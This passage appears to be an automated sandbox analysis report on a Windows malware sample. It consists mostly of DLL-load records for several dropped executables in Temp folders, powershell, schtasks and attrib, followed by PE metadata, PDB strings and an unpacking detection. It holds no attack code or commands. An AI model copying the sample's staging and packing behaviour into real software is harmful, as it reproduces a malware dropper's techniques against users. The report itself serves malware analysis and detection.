Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: dhcpcsvc6.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: dhcpcsvc.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: rasapi32.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: rasman.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: rtutils.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: secur32.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1017612001\d7a64ab6bf.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: urlmon.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iertutil.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: srvcli.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: netutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: propsys.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wininet.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: microsoft.management.infrastructure.native.unmanaged.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: miutils.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wmidcom.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dpapi.dll
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wbemcomn.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: winhttp.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: webio.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: mswsock.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: iphlpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: winnsi.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: dnsapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: rasadhlp.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: fwpuclnt.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: schannel.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: mskeyprotect.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: ntasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: ncrypt.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: ncryptsslp.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: msasn1.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: cryptsp.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: rsaenh.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: gpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: dpapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017613001\27302b4729.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: uxtheme.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: profapi.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: kernel.appcore.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: propsys.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: edputil.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: urlmon.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: iertutil.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: srvcli.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: netutils.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: windows.staterepositoryps.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: sspicli.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: wintypes.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: appresolver.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: bcp47langs.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: slc.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: userenv.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: sppc.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: onecorecommonproxystub.dll
Source: C:\Users\user\AppData\Local\Temp\1017614001\952ee9d31e.exe	Section loaded: onecoreuapcommonproxystub.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: apphelp.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: version.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: shfolder.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: uxtheme.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: windows.storage.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: wldp.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: profapi.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: sspicli.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: winhttp.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: webio.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: mswsock.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: iphlpapi.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: winnsi.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: dnsapi.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: rasadhlp.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: fwpuclnt.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: schannel.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: mskeyprotect.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: ntasn1.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: ncrypt.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: ncryptsslp.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: msasn1.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: cryptsp.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: rsaenh.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: cryptbase.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: gpapi.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: kernel.appcore.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: dpapi.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: wbemcomn.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: amsi.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: userenv.dll
Source: C:\wyxpjht\fc157b04b959476fb80c0241912978f9.exe	Section loaded: ondemandconnroutehelper.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: cmdext.dll
Source: C:\Windows\System32\cmd.exe	Section loaded: apphelp.dll
Source: C:\Windows\System32\mode.com	Section loaded: ulib.dll
Source: C:\Windows\System32\mode.com	Section loaded: ureg.dll
Source: C:\Windows\System32\mode.com	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Users\user\AppData\Local\Temp\main\7z.exe	Section loaded: cryptbase.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: apphelp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: windows.storage.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: wldp.dll
Source: C:\Users\user\AppData\Local\Temp\main\in.exe	Section loaded: ntmarta.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: ulib.dll
Source: C:\Windows\System32\attrib.exe	Section loaded: fsutilext.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: taskschd.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: sspicli.dll
Source: C:\Windows\System32\schtasks.exe	Section loaded: xmllite.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{148BD52A-A2AB-11CE-B11F-00AA00530503}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\AppData\Local\Temp\1017608001\79cd489a19.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: file.exe

Static file information: File size 3008512 > 1048576

Source: file.exe

Static PE information: Raw size of odogmioi is bigger than: 0x100000 < 0x2acc00

Source:	Binary string: wkernel32.pdb source: 5fc147bcaa.exe, 0000000E.00000003.2701281095.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2701454729.0000000005850000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdb source: 5fc147bcaa.exe, 0000000E.00000003.2701991535.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2702345664.0000000005950000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2714889677.0000000005340000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdb source: 5fc147bcaa.exe, 0000000E.00000003.2699869880.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2700132652.0000000005920000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2712342108.0000000005530000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2706673371.0000000005340000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdbUGP source: 5fc147bcaa.exe, 0000000E.00000003.2700623377.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2700895264.00000000058D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: ntdll.pdbUGP source: 5fc147bcaa.exe, 0000000E.00000003.2699869880.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2700132652.0000000005920000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2712342108.0000000005530000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2706673371.0000000005340000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wntdll.pdb source: 5fc147bcaa.exe, 0000000E.00000003.2700623377.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2700895264.00000000058D0000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdbSHA256}Lq source: 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: protobuf-net.pdb source: 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2457793692.0000000002B21000.00000004.00000800.00020000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2466424580.0000000005470000.00000004.08000000.00040000.00000000.sdmp, 79cd489a19.exe, 0000000A.00000002.2462373752.0000000003BED000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: wkernel32.pdbUGP source: 5fc147bcaa.exe, 0000000E.00000003.2701281095.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2701454729.0000000005850000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: wkernelbase.pdbUGP source: 5fc147bcaa.exe, 0000000E.00000003.2701991535.0000000005730000.00000004.00000001.00020000.00000000.sdmp, 5fc147bcaa.exe, 0000000E.00000003.2702345664.0000000005950000.00000004.00000001.00020000.00000000.sdmp, svchost.exe, 0000000F.00000003.2714889677.0000000005340000.00000004.00000001.00020000.00000000.sdmp
Source:	Binary string: C:\Users\danie\source\repos\NewText\NewText\obj\Debug\NewText.pdb source: skotes.exe, 00000006.00000002.3049228877.00000000009EA000.00000004.00000020.00020000.00000000.sdmp

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\file.exe	Unpacked PE file: 0.2.file.exe.c80000.0.unpack :EW;.rsrc:W;.idata :W;odogmioi:EW;qyfccaeh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;odogmioi:EW;qyfccaeh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 1.2.skotes.exe.100000.0.unpack :EW;.rsrc:W;.idata :W;odogmioi:EW;qyfccaeh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;odogmioi:EW;qyfccaeh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 2.2.skotes.exe.100000.0.unpack :EW;.rsrc:W;.idata :W;odogmioi:EW;qyfccaeh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;odogmioi:EW;qyfccaeh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Unpacked PE file: 6.2.skotes.exe.100000.0.unpack :EW;.rsrc:W;.idata :W;odogmioi:EW;qyfccaeh:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W;odogmioi:EW;qyfccaeh:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\1017609001\751afd6d8b.exe	Unpacked PE file: 11.2.751afd6d8b.exe.760000.0.unpack :EW;.rsrc:W;.idata :W; :EW;xnuzvlhe:EW;tzuttanx:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;xnuzvlhe:EW;tzuttanx:EW;.taggant:EW;
